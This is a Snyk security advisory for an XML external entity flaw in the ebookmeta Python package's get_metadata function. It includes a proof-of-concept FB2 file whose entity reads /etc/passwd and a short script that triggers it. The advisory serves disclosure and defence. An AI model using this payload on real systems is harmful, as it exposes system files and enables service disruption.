Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') Affecting ebookmeta package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.09% (39th percentile)

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  • Snyk ID SNYK-PYTHON-EBOOKMETA-7222571
  • published 9 Jun 2024
  • disclosed 7 Jun 2024
  • credit peri0d

How to fix?

There is no fixed version for ebookmeta.

Overview

ebookmeta is a Read/write ebook metadata for fb2, epub2 and epub3 files

Affected versions of this package are vulnerable to Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') via the get_metadata function. An attacker can access sensitive information or disrupt service by supplying specially crafted XML input.

PoC

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
<description>
    <title-info>
        <genre>antique</genre>
        <author><first-name></first-name><last-name>&xxe;</last-name></author>
        <book-title>&xxe;</book-title>
        <lang>&xxe;</lang>
    </title-info>
    <document-info>
        <author><first-name></first-name><last-name>Unknown</last-name></author>
        <program-used>calibre 6.13.0</program-used>
        <date>26.5.2024</date>
        <id>eb5cbf82-22b5-4331-8009-551a95342ea0</id>
        <version>1.0</version>
    </document-info>
    <publish-info>
    </publish-info>
</description>
<body>
<section>
<p>&lt;root&gt;</p>
<p>12345</p>
<p>&lt;/root&gt;</p>
</section>
</body>

</FictionBook>

Exploitation:

import ebookmeta
fp = "payload.fb2"
meta = ebookmeta.get_metadata(fp)
print(meta.title)

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High
Expand this section

NVD

7.5 high